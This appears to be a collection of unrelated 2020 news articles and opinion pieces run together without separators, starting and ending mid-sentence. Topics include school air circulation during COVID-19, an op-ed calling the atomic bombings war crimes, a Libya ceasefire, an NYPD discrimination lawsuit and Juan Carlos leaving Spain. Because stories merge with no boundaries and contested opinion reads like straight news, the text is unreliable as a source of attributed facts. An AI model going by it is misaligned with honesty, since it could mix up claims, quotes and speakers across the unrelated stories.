classroom ceilings, a technology some used in the 1950s and earlier to combat measles, tuberculosis and other airborne diseases and that is still used in hospitals and homeless shelters. Viruses and bacteria are destroyed using a spectrum of UV light that is safe for humans. Manufacturers say the devices would cost $3,000 per classroom. Some, including Education Secretary Betsy DeVos, say one solution to air circulation problems may be teaching classes outdoors, which was done during tuberculosis and influenza outbreaks in the early 1900s, even in cold weather. The coronavirus spreads less efficiently outdoors and students could more easily sit 6 feet apart. Having classes outdoors has other benefits, said Sharon Danks, CEO of Green Schoolyards America, a Berkeley, California, nonprofit that advocates for outdoor education. Children actually are less distracted and feel better emotionally when taught outdoors, she said. Nature has been shown to restore the ability to pay attention, she said. Several schools in the Northeast have bought large event tents like those used at outdoor weddings and plan to use them to teach outside through November. The White River Valley Middle School in Bethel, Vermont, spent $50,000 on tents and another $20,000 on port-a-potties, hand-washing stations and other equipment. While some schools have equipped tents with propane heaters, White River Valley Principal Owen Bradley said his students can handle the expected November daytime temperatures in the 30s without them. Bradley said one upside will be an opportunity to help students better understand and appreciate nature. We hope they value it forever and help us save the planet, he said. Schools bringing students back this fall will require or at least strongly suggest masks, but officials say they can only be so effective during six-hour school days indoors. Air circulation is needed. Stephen Murley, the school superintendent in Green Bay, Wisconsin, said most of his districts 42 campuses have older air systems. When there is high humidity, they are set to recirculate drier indoor air to prevent unhealthy black mold from growing on the walls. But battling the coronavirus requires fresh air. We have two things working at odds with each other, Murley said. Janet Robinson, the superintendent in Stratford, Connecticut, said some of her districts 13 schools were built between 80 and 100 years ago and arent capable of handling modern air systems they are a challenge. There are also crowding issues one has classrooms built for 15 students but that typically have 25, making social distancing impossible. It is kind of naive for politicians and whoever to say, Just bring (the students) in and keep them at 6 feet distance, she said. Brian Toth, superintendent of the Saint Marys Area School District in northern Pennsylvania, said his districts five schools air systems have no exit vents to circulate fresh air in and the virus out. He estimates it would cost at least $600,000 per school to replace the systems. When his schools reopen Aug. 31, students will be asked to wear masks, but Pennsylvania law exempts children whose parents claim they have a physical or mental condition. You look at the way schools were built, nobody expected to have a classroom with a 6-foot radius around a student, Toth said. Instead, classrooms pack them in like sardines and now we are facing the consequences. It has long been pointed out that Japan had expressed a willingness to surrender. The only condition was that the Japanese emperor not be abused or executed. President Truman refused to agree to that condition. Like his predecessor Franklin Roosevelt, Truman demanded unconditional surrender. That was why Japan continued fighting. Japanese officials naturally assumed that U.S. officials were going to do some very bad things to their emperor, including torture and execution. In the minds of Japanese officials, why else would the United States not be willing to agree to that one condition, especially given that it would have meant the end of the war? The dark irony is that Truman ended up accepting the condition anyway, only after he pulverized the people in Hiroshima and Nagasaki with nuclear bombs. No Advertising - No Government Grants - This Is Independent Media Get Our Free Newsletter In an excellent op-ed in the Los Angeles Times today entitled U.S. Leaders Knew We Didnt Have to Drop Atomic Bombs on Japan to Win the War. We Did It Anyway the authors point out: Seven of the United States eight five-star Army and Navy officers in 1945 agreed with the Navys vitriolic assessment. Generals Dwight Eisenhower, Douglas MacArthur and Henry Hap Arnold and Admirals William Leahy, Chester Nimitz, Ernest King, and William Halsey are on record stating that the atomic bombs were either militarily unnecessary, morally reprehensible, or both. Keep in mind that there is nothing in the principles of warfare that required Truman and Roosevelt to demand the unconditional surrender of Japan (or Germany). Wars can be and often are ended with terms of surrender. Both presidents were willing to sacrifice countless people on both sides of the conflict to attain their demand for unconditional surrender. But Trumans unconditional surrender demand is not why his action constituted a war crime. This bombings constituted war crimes because they targeted non-combatants, including children, women, and seniors with death as a way to bring about an unconditional surrender of the Japanese government. It has long been considered a rule of warfare that armies fight armies in war. They dont target non-combatants. The intentional killing of non-combatants is considered a war crime. A good example of this principle involved the case of Lt. William Calley in the Vietnam War. Calley and his men shot and killed numerous non-combatants in a South Vietnamese village. The victims included women and children. The U.S military prosecuted Calley as a war criminal and rightly so. While the deaths of non-combatants oftentimes occurs incidentally to wartime operations, it is a war crime to specifically target them for death. Truman justified his action by arguing that the bombings shortened the war and, therefore, saved the lives of thousands of American soldiers and Japanese people if an invasion had become necessary. It is a justification that has been repeated ever since by proponents of the bombings. There are two big problems with that justification, however. First, an invasion would not have been necessary. All that Truman had to do was to accept Japans only condition for surrender, and that would have meant the end of the war, without the deaths that would have come with an invasion and that did come with the bombings of Hiroshima and Nagasaki. More important, the fact that lives of American soldiers would have been saved is not a moral or legal justification for targeting non-combatants. If Calley had maintained at his trial that his actions were intended to shorten the Vietnam War, his defense would have been rejected. He would have still be convicted for war crimes. Soldiers die in war. That is the nature of war. To kill women, children, and seniors in the hopes of saving the lives of soldiers by shortening the war is not only a war crime, it is also an act of extreme cowardice. If an invasion of Japan would have become necessary to win the war, thereby resulting in the deaths of thousands of U.S. soldiers, then thats just the way that war works. Its also worth pointing out that Japan never had any intention of invading and conquering the United States. The only reason that Japan bombed Pearl Harbor was in the hope of knocking out the U.S. Pacific fleet, not as a prelude to invading Hawaii or the continental United States but simply to prevent the U.S. from interfering with Japans efforts to secure oil in the Dutch East Indies. And why was Japan so desperate for oil as to initiate war against the United States? Because President Franklin Roosevelt had imposed a highly effective oil embargo on Japan as a way to maneuver the Japanese into attacking the United States. FDRs plan, of course, succeeded, which ended up costing the lives of hundreds of thousands of American soldiers and millions of Japanese citizens, including those at Hiroshima and Nagasaki. A man in his 40s was rushed to hospital with life-threatening injuries after being electrocuted in North York on Monday afternoon. The man was electrocuted just before 3 p.m. while carrying a pole that came in contact with wires, police said. He was rushed to hospital soon after being found in the area of Yonge Street and Olive Avenue, just below Finch Avenue. The investigation has been handed over to the Ministry of Labour, which is responsible for looking into serious injury and death in the workplace, police said. Share this article Whatsapp Facebook Twitter Linkedin M. Taufiqurrahman (The Jakarta Post) Jakarta Wed, August 12 2020 Multilateralism is facing an uphill battle during the COVID-19 pandemic, which to some extent has prompted nations to pursue their own interests, rather than common ones. Foreign Minister Retno LP Marsudi recently talked with The Jakarta Posts deputy editor-in-chief M. Taufiqurrahman about Indonesias diplomacy during the pandemic and endeavors to promote multilateralism. Question: How has the pandemic affected relations between great powers and how will Indonesias diplomacy respond to these rivalries? Indonesia will remain steadfast in its free and active foreign policy. All great powers are important and strategic partners for Indonesia. We will not allow ourselves to be forced to take sides. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login South Africa's coat of arms does not recognise women. The national symbol of our country, on all official documents from birth to death only bears the image of two men. The time has now come to change that. The time is now to replace the two men with one man and one woman - in a symbolic gesture that will move South Africa forward in a deep and meaningful manner. Womens Day and Womens Month provide a unique opportunity to stop and reflect on the role of women in our country, given the many issues we still face, including extreme levels of gender-based violence, inequalities in the workplace and pay parity. This examination of all aspects of our society, also led to the interrogation of our national symbols," says Katy Katopodis, news director of Newzroom Afrika.As we mark Womens Month, we felt that we needed to do something far more meaningful. It began with the appreciation of where we could trigger the most powerful action. The answer was a simple one and was staring all of us in the face. We see this as a small change, with massive impact where we truly respond to how women are represented both consciously and unconsciously, she says.The president himself has publicly spoken out against the scourge of gender-based violence, describing it as South Africas second pandemic. It, therefore, made perfect sense for us to take this call straight to the office of the president.Newzroom Afrika has been joined by prominent South Africans from across society in calling for the change. They have given their individual support, recognising that this is a powerful moment for change.Newzroom Afrika is committed to positive and meaningful change and is calling on all South Africans, all political, business and religious leaders, to provide their support for the most powerful representation of change we can make.Newzroom Afrika has partnered with Razor, the PR agency in the M&C Saatchi Group. As an agency we believe in powerful conversations that lead to action. #ChangeforHer resonates deeply with our support for women in our own organisation and across our society. As a values-led group, we wholeheartedly support making this change, says Dustin Chick, managing partner of Razor.In 1956, women came together to peacefully protest against injustice. Today we draw inspiration from those fearless women. We are presented with a watershed moment to ensure women are represented within our country's most powerful national symbol.We must respond with action, and we call on all South Africans to join this change, adds Zamahlasela Gabela, HOD: marketing and communications at Newzroom Afrika.For the latest from Newzroom Afrika, follow us on:Twitter: @Newzroom405 YouTube: Newzroom Afrika Facebook: Newzroom Afrika Besides the President, Azar is also scheduled to meet Minister of Health Chen Shih-chung, reports The Taiwan Times. Taipei, Aug 10 (IANS) US Health Secretary Alex Azar met Taiwanese President Tsai Ing-wen on Monday, becoming the highest-ranking American politician to hold a meeting on the island after over 40 years in a move that has irked China. None of Azar's team are required to follow Taiwan's normal quarantine guidelines to prevent COVID-19 infected individuals from entering the country. Reacting to the meeting, Foreign Ministry spokesperson Zhao Lijian urged "the US side to stop official interactions and contact of all kinds, as well as the upgrading of substantive relations with the island", Xinhua news agency reported When the visit was announced last week, the spokesman had said that "China firmly opposes any official interactions between the US and Taiwan" and "not to send any wrong signals to Taiwan independence' elements to avoid severe damage to China-US relations". However, Azar, who arrived on the island on Sunday, said there were "three overarching themes" for the visit, reports the BBC. "The first is to recognise Taiwan as an open and democratic society, executing a highly successful and transparent COVID-19 response," he said. "The second is to reaffirm Taiwan as a long partner and friend of the US. "The third is to note that Taiwan deserves to be recognised as a global health leader with an excellent track record of contributing to international health," the Health Secretary added. Although Washington does not have a formal diplomatic relationship with Taipei, the 1979 Taiwan Relations Act allows the US to sell arms to the island, and commits it to "close relations", said the BBC report. --IANS ksk/ A sperm donor who said he believed a lesbian couple were looking for a 'co-parent' has lost a High Court battle to spend time with his six-year-old daughter. Mrs Justice Theis concluded contact between the child and her biological father would not meet the 'welfare needs' of the girl, whose parents are two women who were in a civil partnership. She added the unidentified man has a 'somewhat blinkered reliance on general rights' and had been 'unable to engage' with the girl's 'reality now'. Mrs Theis outlined her conclusions in a written ruling, published following a private family court hearing in London. A sperm donor who said he believed a lesbian couple were looking for a 'co-parent' has lost a High Court battle to spend time with his six-year-old daughter. Pictured: The High Court in London In court documents, the judge explained how the couple had met the man through a website while looking for a sperm donor. Their daughter was then conceived following artificial insemination using the man's sperm. The parents have since separated, and the girl lives with one of them. The man told the court he believed the women had been searching for a 'co-parent', but they both disagreed. He had spent some time with the child after her birth but the women stopped the visits in 2014 after their relationship with him became 'more difficult', the judge said. Pictured: Mrs Justice Theis The biological father asked Mrs Theis to make a 'child arrangements' order, which would allow him to spend time with the six-year-old. The judge rejected the man's application, concluding the girl's 'welfare needs' would not be met if she spent time with him. She said: 'Whilst I accept the importance and the need for [the girl] to have information about her background and identity, including her genetic identity, that is not a right that exists irrespective of her welfare.' The judge feared that if the man spent time with the girl, he would want more involvement in her life, and put her 'current stability' at risk. She said his 'somewhat blinkered reliance on general rights' meant he had been 'unable to engage' with the girl's 'reality now'. Mrs Justice Theis added she was confident that if the girl she wanted to meet the man her legal parents would try to 'meet that request'. She said the man could write to the girl and send and see photographs. Cairo hosted the speaker of the Libyan House of Representatives and the US ambassador in Libya this week amid intensive efforts to reach a peaceful solution to the Libyan crisis The US is seeking a permanent ceasefire in Libya and is pushing towards demilitarising Sirte and Jufra in the centre of the African country, resuming oil production and improving governance to resume talks between the warring parties. In the past several weeks, the US administration intensified efforts to contain the Libyan crisis and prevent the heavy foreign interference the country has witnessed for a year with the onset of the war in the capital Tripoli and in tandem with the heated competition between players in the West. US diplomats and the UN Security Council held several meetings in recent weeks with Libyan, regional and international parties to discuss the situation in Libya and means to resume talks. High-level officials from the UNSC and the US State Department conducted meetings the last of which was on Monday with the two Libyan sides. Libyan Parliamentary Speaker Aguila Saleh arrived in Cairo on Sunday night for talks with Egyptian and Western officials within the framework of regional and international negotiations targeting a political settlement to put out the flames of a possible war that may ensue in Sirte and Jufra. On Monday, US Ambassador to Libya Richard Norland arrived in Cairo where he met Saleh. The Libyan parliament released a statement saying the meeting was dedicated to discussing developments in Libya and the region along with means for the recommendations of the Cairo Declaration and the Berlin Conference to materialise. The meeting also tackled how to maintain the ceasefire and return to the negotiating table to terminate the Libyan crisis. The meeting between Saleh and Norland came two days after the US embassy announced a virtual meeting between the chairman of the Foreign Affairs Committee of the House of Representatives in Tobruk, Youssef Al-Aqouri, US officials headed by the National Security Council Senior Director for the Middle East and North Africa Major General Miguel Correa, and Norland. Norland also conducted meetings with Fayez Al-Sarraj, head of the Government of National Accord (GNA), and his Minister of Interior Fathi Bashagha. The US wants to see a ceasefire hold in Libya, a demilitarisation of the Sirte and Jufra zones and forces retreating to Tripoli, Misrata, Benghazi and Ajdabiya. Libyan Deputy to the Speaker of the House of Representatives Hamid Al-Safi said the meeting between Saleh and Norland saw agreement over the necessity of the ceasefire, the demilitarisation of Sirte and Jufra until the resumption of talks, and the return to the negotiating table. Al-Safi pointed out the two officials discussed practical steps to move forward with Salehs initiative that was crowned by the Cairo Declaration based on the Berlin Conference. Al-Safis statements, reported by media loyal to the Libyan National Army (LNA) and the Tobruk-based House of Representatives, mean Saleh approves the US plan to demilitarise Sirte and Jufra. Norland arrived in Cairo following discussions on Libya between Egypts President Abdel-Fattah Al-Sisi and his US counterpart Donald Trump as well as between US State Secretary Mike Pompeo and Egyptian Foreign Minister Sameh Shoukri on steps needed to achieve a lasting ceasefire, realise a full withdrawal of foreign forces and mercenaries, and support a UN-facilitated political dialogue, the US Embassy in Libya stated on Monday. With our Egyptian partners, Ambassador Norland welcomed the momentum generated by the 6 June Cairo Declaration and underscored US support for all responsible Libyan leaders seeking a peaceful resolution to the conflict that restores Libyas sovereignty, promotes economic reforms, and prevents further foreign escalation, the statement read. Norland expressed support for [Salehs] aspirations and those of all responsible Libyan elements, for a Libyan solution to end the conflict and ensure a stable and prosperous future for the Libyan people, it added. In June, Al-Sisi declared Sirte and Jufra a red line for Egypts national security. He reiterated the call, explaining that his announcement is meant to invite the warring parties to demilitarise and go back to the negotiating table to solve the Libyan crisis. Egypt and the US see eye-to-eye when it comes to creating a demilitarised zone between the LNA and GNA. The US embassy said it will remain engaged with all Libyan parties that reject foreign interference and seek peaceful talks. On 7 August the US embassy said Norland discussed with Al-Sarraj over the phone efforts to conclude a final formula that guarantees a permanent ceasefire, increases transparency in economic institutions, and advances the political process under the auspices of the UN. The following day Norland and Bashagha tackled efforts to build confidence between parties to find a final solution for Sirte and Jufra. The US rejects foreign intervention in Libya, particularly by Turkey and Russia that are heavily engaged in Libya following the Tripoli war after LNA Commander Khalifa Haftar attempted to seize Tripoli. The Russian and Turkish military presence in Libya is raising regional and Western fears, particularly because both countries are not keeping it a secret that they want to establish military bases in Libya. Turkish officials said they want to operate two military bases: a marine base at Misrata Port and an air base in Watiya, near the Libyan border with Tunisia and Algeria. Since 2014, Libyas executive and political institutions have been facing major challenges over running the country, maintaining security and achieving a national accord between the social strata, in addition to their failure to reconstruct the country or realise political, legislative or economic reforms. The political and economic elite of Misrata and Tripoli, dominating the GNA, have been engaged in squabbles over a cabinet reshuffle expected to be announced in the next few days. The two sides exchanged corruption charges amid deteriorated public services, cash shortages in banks, price hikes, power cuts, and the spread of the coronavirus. Libyas oil installations are still shut, even though more than one month has passed since the National Oil Corporation announced negotiations were ongoing with the support of regional and international parties for the installations to resume operation. Power cuts have become a major problem in Libya. The corporation said the shutdown of oil ports on the Gulf of Sirte is the reason behind the repeated power cuts, especially in the east. The chairman of the board of the corporation Mustafa Sonallah said the closure of the ports will result in condensate tanks being filled in the exporting ports within days. The production of gas associated with the condensate, which feeds the Zueitina power stations and north of Benghazi, will supposedly stop. He added the corporation is currently facing difficulties in increasing the quantities of imported diesel to supply power stations with energy, after the recent depletion of the budget approved for fuel to compensate for the shortfall in gas production and the production of local refineries. Sonallah reiterated his appeal to those responsible for the suspension to enable the corporation to resume its operations. *A version of this article appears in print in the 13 August, 2020 edition of Al-Ahram Weekly Search Keywords: Short link: The Kurdistan Workers' Party (PKK) has long held bases in the rugged mountains of northern Iraq Two high-ranking Iraqi officers were killed Tuesday in what the army said was a "blatant Turkish drone attack" in the autonomous Kurdish region, where Ankara has for weeks been raiding militant positions. The strike killed two border guard battalion commanders and the driver of their vehicle, the army said in a statement. It is the first time members of the regular Iraqi forces have been killed since Turkey launched a cross-border ground and air operation in mid-June against Kurdistan Workers' Party (PKK) rebels in the mountainous terrain of northern Iraq. Iraq has already summoned the Turkish envoy in Baghdad twice in protest at Ankara's operations on its soil. Ihsan Chalabi, the mayor of nearby Sidakan in the north of Arbil province, told AFP that the drone strike in the Pradost region targeted "Iraqi border guard commanders while they were in meetings with PKK fighters". Witnesses had reported clashes earlier in the day between PKK and Iraqi forces, and local sources said the drone strike targeted an emergency meeting called to try to calm the tensions. The Iraqi presidency issued a statement denouncing "a dangerous violation of Iraqi sovereignty" and called on Ankara to "stop all its military operations" in the region. At least five civilians have been killed since the start of the Turkish campaign in June. Ankara has announced the death of two of its soldiers, and the PKK and its allies have reported the deaths of 10 fighters and supporters. The PKK, which is blacklisted as a terrorist group by Ankara and its Western allies, has waged an insurgency against the Turkish state since 1984. It has long used the rugged terrain of northern Iraq as a rear base to wage attacks on Turkey, which in turn had set up military positions inside Iraqi territory to fight them. The Kurdish authorities, dominated by the Democratic Party of Kurdistan (KDP) see the PKK as rivals but have never been able to uproot them from their northern Iraqi bases. Both Arbil and Baghdad see Turkey's military presence in the Kurdish region as a violation of Iraqi sovereignty, but neither wants to alienate Turkey, a major trading partner and regional heavyweight. str-sbh/par/lg Weather Alert ...Bitterly cold temperatures expected starting Wednesday Afternoon... ...Slick Roads possible late Wednesday Afternoon and Night... An Arctic blast of cold air will move into the Quad State region Wednesday afternoon, pushing the entire region below the freezing mark by 7 pm Wednesday. Once the cold air moves in, temperatures are not expected to rise above freezing until early Saturday afternoon. Gusty north winds will produce very low wind chills Thursday into Friday morning. Wind chills below zero will be likely over southern Illinois and southeast Missouri, with barely above zero wind chills over west Kentucky and southwest Indiana. Wind Chills will remain in the single digits for parts of the area all day on Thursday and into early Friday morning. Anyone traveling or working outdoors should bundle up in layers to protect yourself from developing hypothermia and frostbite. Consideration should also be given to protect pets and livestock left outdoors. For those with water systems vulnerable to an extended period of sub-freezing temperatures, be sure to keep a trickle of water running through those systems. A Winter Weather Advisory is currently posted for part of southwest Indiana and the Pennyrile region of west Kentucky late Wednesday afternoon and night, where the best accumulation of wintry precipitation is expected. However, with temperatures expected to plummet and remain below freezing, any wintry precipitation still left on roadways and sidewalks across the Quad State late Wednesday afternoon and night will freeze. Travelers should use caution while traveling and be watchful for any slick spots on roadways, especially elevated bridges and overpasses. Please stay tuned to the National Weather Service in Paducah for the latest forecasts and statements associated with this winter event. Lori Pollock, the New York Police Department's first female chief of crime control, has quit and filed a gender discrimination lawsuit against Commissioner Dermot Shea, claiming that NYPD policies violate women's protection rights. Pollock, who has been with the NYPD since 1987, claims in documents filed in Manhattan Federal Court on Monday that she was forced into retirement last Thursday due to 'blatant gender-based' treatment from Shea. Pollock, 58, says she asked to be considered for promotion as chief of detectives but instead Shea demoted her and made her answer to Chauncey Parker, a civilian who had recently been made deputy commissioner of the Bureau of Community Partnerships. The request for promotion came after a meeting last year where she spoke about her role as chief of bureau of crime control strategies and in which she claims Shea was distracted and looking at his phone a lot. Lori Pollock, the New York Police Department's first female chief of crime control, has quit and filed a gender discrimination lawsuit against Commissioner Dermot Shea, claiming that NYPD policies violate women's protection rights The lawsuit is filed against Shea on an individual basis and in his role as Commissioner. Pollock argues that as only one of five women to become a three-star chief in the 175 years of the NYPD, she was held back by the apparent 'glass ceiling' at the department Pollock explains in the lawsuit that the Chief of Detectives position, currently held by Rodney Harrison, is a natural next step for men who were in her previous position. Shea who joined the force in 1990 - held the position from April 2018 until November 2019 before he was sworn in as Commissioner last December. 'After I replaced him, he moved on to chief of detectives and now hes the police commissioner,' Chief Pollock told the New York Times. 'How is it that the only woman to have served in that capacity was demoted?' She claims she told Parker how she felt about the demotion to chief of collaborative policing, which was previously held by civilian Susan Herman. 'First I get dumped to this position and then you tell me you are my supervisor and don't you think that is a kick in the teeth?' Pollock said on December 9. The circumstances of Pollock's departure and legal action was first reported by the New York Daily News. 'In sum, by this reorganization process, Shea demoted Pollock, a female 3-star chief, to a role subordinate to Parker, a male, civilian whose prior experience and qualifications are unrelated to police operations and management,' the lawsuit states. 'Pollock was far more qualified than Parker to lead BCP.' Pollock says she asked to be considered for promotion as chief of detectives but instead Shea demoted her and made her answer to a civilian in her new role Monday's filing asserts that 'women are less likely than men to advance to higher uniform ranks' Pollock asserts in the filing that she was humiliated by Shea who she claims mocked her in front of 30 high-ranking NYPD executives in December when he demoted her, resulting in her losing her place three seats down from him at the table. 'First I get dumped to this position and then you tell me you are my supervisor and don't you think that is a kick in the teeth?' Pollock told Chauncey Parker (pictured), a civilian who had been made deputy commissioner of the Bureau of Community Partnerships on December 9 The lawsuit claims Shea yelled at her during the meeting: 'Hey Lori, how do you like it at the other end of the table?' 'This remark was disrespectful, disparaging and denigrating by design,' the lawsuit states. 'By this remark, Shea also showed his absolute disregard for his adverse treatment of Pollock.' Documents claim that Shea even admitted in a February meeting that 'structurally her transfer was wrong.' Pollock argues that as only one of five women to become a three-star chief in the 175 years of the NYPD, she was held back by the apparent 'glass ceiling' at the department. 'Pollock was forced to retire her police career because of her gender rather than continue to endure no opportunity for advancement and the loss of her staff, authority and management responsibilities,' the lawsuit claims. In a February 9 file photo, New York City Police Commissioner Dermot Shea, left, speaks alongside Mayor Bill de Blasio during a news conference in New York Pollock wants a jury trial and for Shea and the city to state they violated the equal protection rights of women Pollock explains in the lawsuit that the Chief of Detectives position, currently held by Rodney Harrison (pictured), is a natural next step for men who were in her previous position The lawsuit includes information about an internal analysis that determined the 'advancement of women within the uniform ranks of the department is not independent of gender.' Monday's filing asserts that 'women are less likely than men to advance to higher uniform ranks.' Five female cops have reached three-star status but by the end of the month all but one has retired, the New York Times reports. Former chief of community affairs, Joanne Jaffe, stepped down in 2018 and claimed that there are cliques in the NYPD. Jaffe previously filed a lawsuit against the NYPD with former chief of personnel, Diana Pizzuti. Pollock was demoted to chief of collaborative policing, which was previously held by civilian Susan Herman (pictured) The former chiefs who are white - also claimed they were booted out to make way for men and minorities. The department called their claims of gender discrimination 'baseless.' Women make up 18 percent of the department's 36,000 uniformed officers but no women have even been Commissioner. Nationwide, women make up less than 12 percent of the police force, 10 percent of police supervisors and 3 percent of police executives. The lawsuit is filed against Shea on an individual basis and in his role as Commissioner. Atlanta, Philadelphia and Washington are some big cities where women have become Commissioner however the likes of New York City, Los Angeles and Chicago are yet to follow. Pollock wants a jury trial and for Shea and the city to state they violated the equal protection rights of women. 'We will review the lawsuit when we are served. The contributions of women, both in leadership roles and in their representation in the uniformed and civilian ranks, across the Police Department, cannot be overestimated,' an NYPD spokeswoman Detective Sophia Mason told DailyMail.com when approached for comment. Russian actor and outspoken Kremlin critic Mikhail Yefremov, who is charged with killing a person while driving under the influence of alcohol, has been sent to hospital from a court in Moscow where his trial was under way. The Presnensky district court on August 11 had to stop the high-profile trial after Yefremov felt unwell. An ambulance took him away later. The court's press service said the trial will resume on August 12. If convicted, Yefremov, who in recent years has been criticizing the Kremlin in his one-man performances, may face up to 12 years in prison. Yefremov's lawyer Elman Pashayev said his client lost consciousness and is currently unable to attend the trial. Russian media reports quote unnamed medical personnel as saying that Yefremov has stroke symptoms. Police say Yefremov was inebriated when he drove his car at a high speed into an oncoming lane in central Moscow on the evening of June 8, hitting another car. Yefremov did not suffer any injuries in the accident, but the driver of the other vehicle, identified as 57-year-old Sergei Zakharov, was rushed to hospital with multiple injuries and died hours later. After Zakharov was pronounced dead, Yefremov was charged with "causing a deadly traffic accident while driving under the influence" and later placed under house arrest. Yefremovs trial started on August 5. He pleaded not guilty, saying "I do not remember anything." Authorities later said that medical tests confirmed that Yefremov had traces of drugs, including cocaine, in his blood at the moment of the accident. Performances by the 56-year-old Yefremov satirizing President Vladimir Putin and his policies have been very popular in recent years. Based on reporting by TASS and Interfax Former King Juan Carlos I de Borbon, who reigned from November 1975 until his abdication in June 2014, has fled Spain to evade investigation on charges on kickbacks and fraud. Last week, the Royal Family posted a letter by Juan Carlos I to his son, King Felipe VI, informing him of his well-considered decision to leave Spain, adding: It is a decision I take, with deep feeling but great calm. I was king of Spain for 40 years, and during all those years I have always wanted the best for Spain and the Crown. Now Juan Carlos has fled to the United Arab Emirates (UAE), where he reportedly occupies an entire floor at Abu Dhabi's five-star Emirates Palace hotel, under the protection of Crown Prince Mohammed bin Zayed al-Nahyan. Juan Carlos departure is a humiliation for the Spanish ruling class and comes amid mounting infighting in the European bourgeoisie. Backed by Washington and the European Union, he was promoted as a leader who led Spain from fascism to democracy after dictator Francisco Francos death in 1975stopping a military coup in 1981 and serving as head of state for nearly 40 years. His decision to flee Spain like a thief, to avoid a corruption probe after Swiss and Spanish prosecutors opened an investigation of his Swiss bank accounts, exposes the entire regime. The crisis erupted two years ago when a British conservative newspaper, the Telegraph, leaked recordings of Juan Carlos mistress, businesswoman Corinna zu Sayn-Wittgenstein-Sayn, speaking to retired Spanish police chief Jose Manuel Villarejo. Villarejo is currently in jail awaiting trial over Operation Tandem, an investigation into two decades of illegal phone taps and other invasions of privacy on behalf of wealthy clients, corporations and banks against politicians, businessmen, judges and journalists. Sayn-Wittgenstein claims Juan Carlos received kick-backs from commercial contracts in the Gulf States for the construction of the 6.7 billion Haramain high-speed railway in Saudi Arabia and kept the cash in a bank account in Switzerland. She also claims the head of the Spanish intelligence threatened her life and those of her children if she spoke of her ties to Juan Carlos. The Spanish judiciary intervened to shelve the investigation. Prosecutors claimed the activities mentioned in the conversation occurred before Juan Carloss abdication, when he was still immune from prosecution. Almost simultaneously, Swiss prosecutors opened an investigation into a multi-million-euro donation received by Sayn-Wittgenstein from a Swiss bank account. She told investigators that the money was a donation from the former Spanish monarch. In June 2019, Juan Carlos announced his intention to retire from public life in a letter addressed to Felipe. This was the first attempt of the Royal House to distance itself from Juan Carlos. In March this year, as COVID-19 raged throughout Spain and Europe after decades of cuts in public health care budgets, the Telegraph reported that Felipe VI was a beneficiary with Juan Carlos of a foundation which received 65 million from Abdullah bin Abdulaziz of Saudi Arabia. Soon after, the Royal Household issued a statement claiming that Felipe VI would renounce any inheritance from his father. The former king also reportedly lost his stipend from the States General Budgetanother attempt by Felipe VI to publicly distance himself from Juan Carlos. Two months ago, the public prosecutors office of the Spanish Supreme Court opened an investigation against Juan Carlos regarding Saudi kickbacks. In last weeks letter, Juan Carlos makes no statement of guilt or of regret. He claims, laughably, to be fleeing Spain in order to serve the Spanish people. His lawyer stated that he remains at the disposal of the Prosecutors Office. Juan Carlos also reportedly refused the option of settling his back taxes, which would mean handing over 60 percent of his wealth to the state. Spains Socialist Party (PSOE)-Podemos government, the Royal Household and the media have intervened to defend the former monarch and his historical legacy. A press release signed by Felipe VI stated: The king wants to highlight the historical importance that his fathers reign represents, as a legacy, political work and institutional service to Spain and to democracy. El Pais, the leading pro-PSOE daily, stated in an editorial that the former kings disappointing and less than exemplary behavior during the last years of his reign must not make anybody forget his irreplaceable contribution to the progress and freedom of all Spaniards during nearly half a century. It called for national unity: It is thus irresponsible to fan the flames of this institutional crisis at a time when the country needs stability, and when everyone should come together to deal with a devastating economic crisis thats already here, as well as with a health crisis that refuses to go away. Juan Carlos and Spains Transition from fascist to parliamentary rule In fact, the inglorious flight of Juan Carlos exposes the rotten regime set up by the NATO imperialist powers in the 1978 Transition from the fascist Francoite regime to Spains current parliamentary regime. Juan Carlos was born in Rome in 1938 to the exiled pretender to the Spanish throne amid the Spanish Civil War (1936-1939) launched by the fascist coup of General Francisco Franco. During this three-year war, in which Franco allied with Nazi Germany and fascist Italy, at least 200,000 people died. Another 700,000 to 1 million people passed through nearly 300 concentration camps during and after the war. Another half-million fled Spain as refugees. Franco restored the monarchy in 1947, and Juan Carlos was groomed as his successor. In 1969, he swore loyalty to the fascist Movimiento Nacional (National Movement); he was crowned two days after Francos death in 1975. Amid mass strikes and revolutionary struggles in Spain and across Europe in the 1960s and 1970s, factions of the regime led by Juan Carlos worked with the Spanish Socialist Party (PSOE) and the Stalinist Communist Party of Spain (PCE) to pilot a transition to defend the capitalist state and block a struggle of the working class for power. The PCE played the central role in preventing a revolutionary reckoning with fascism and devising a new constitutional monarchy. Under the monarchy, Spanish fascisms crimes were to be forgiven and forgotten, and capitalist property preserved. In 1978, a constitution was adopted that protected the king from any prosecution. To this day, the Podemos leadership hails the leader of the Communist Party from the 1950s to the 1980s, Santiago Carrillo, for his role during the Transition. Carrillo, a mentor of Podemos General Secretary Pablo Iglesias, became close friends with Juan Carlos and a regular at his palace. The king reportedly called him Don Santiago. By 1981, however, the Transition regime was already on the verge of collapse amid rising discontent in the working class. The press and sections of the ruling elite began to discuss the need for a National Salvation government under the premiership of General Armada, Juan Carlos chief mentor. This meant a supposedly non-violent removal of the democratically-elected government by the military, backed by a broad-based coalition cabinet including the PSOE. On the evening of February 23, hundreds of Civil Guards burst into Parliament, brandishing pistols and sub-machine guns, taking the government and all 350 deputies hostage. To this day, it remains a state secret how much Juan Carlos new about the coup plotters intentions. The coup plotters claimed they acted in the name of the monarch. A German diplomat subsequently stated that Juan Carlos had told him he was in broad agreement with the plotters aims. The PSOE, the Communist Party and its trade union, CC.OO, reacted with calculated impotence, refusing to call strikes or mobilize workers against the coup. Faced with a fascist coup, they simply called on workers to remain calm, defining the assault to parliament as an isolated event. The coup did not succeed, however, as the majority of the bourgeoisie feared that installing another military junta would have provoked a response from the working class that had lived under fascist rule for four decades. Despite the PCE and PSOE, workers had already started organising defence committees in Andalucia and Asturias; strikes broke out in Barcelona, Madrid and other major cities. On February 26, demonstrations of more than 3 million participants, the most massive in Spains history, swept across the country. Although it formally failed, the coup helped cement the post-Franco Transition regime. The PSOE won elections in 1982 with the backing of the PCE and of the forces from the post-1968 middle class student movement. Together with the right-wing Popular Party, these forces formed an entrenched pro-capitalist political duopoly committed to austerity and war. For four decades, the Spanish population was routinely bombarded with claims that the king opposed the coup, and that his televised address calling for law and order and the continuation of the elected governmentsix hours after the coup begansaved democracy from fascism. Already at this time, Juan Carlos was busy using his position to 